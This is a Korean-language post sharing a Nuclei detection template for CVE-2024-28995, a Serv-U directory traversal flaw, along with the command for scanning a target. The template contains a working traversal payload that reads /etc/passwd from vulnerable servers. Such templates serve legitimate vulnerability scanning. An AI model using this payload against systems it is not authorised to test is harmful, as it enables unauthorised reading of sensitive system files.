
CVE-2024-28995를 탐지하기 위한 Nuclei 템플릿으로, Serv-U FTP 서버의 디렉토리 탐색 취약점으로 인해 조작된 HTTP 요청을 통해 파일을 읽을 수 있습니다.
Serv-U 15.4.2 이하 버전의 디렉토리 트래버설 취약점을 확인하며, /etc/passwd와 같은 민감한 파일을 읽을 수 있습니다.
id: CVE-2024-28995
info:
name: Serv-U Directory Traversal Vulnerability
author: Hüseyin TINTAŞ
severity: high
description: Checks for directory traversal vulnerability in Serv-U versions 15.4.2 and below, which allows reading sensitive files like /etc/passwd.
reference:
- https://attackerkb.com/topics/2k7UrkHyl3/cve-2024-28995/rapid7-analysis
tags: pathtraversal,cve,high,serv-u
requests:
- method: GET
path:
- "{{BaseURL}}/?InternalDir=\\..\\..\\..\\..\\etc^&InternalFile=passwd"
matchers-condition: and
matchers:
- type: word
words:
- "root:x:"
- "daemon:x:"
- "bin:x:"
part: body
- type: status
status:
- 200
- type: word
words:
- "Server: Serv-U"
part: header
Nuclei와 함께 이 템플릿을 사용하려면 템플릿 내용을 CVE-2024-28995.yaml 파일로 저장한 후 다음 명령을 실행하세요:
nuclei -t CVE-2024-28995.yaml -u <target-url>
<target-url>을 스캔하려는 대상의 URL로 바꾸십시오.
문의사항이나 추가 정보가 필요하시면 다음을 통해 연락해 주세요: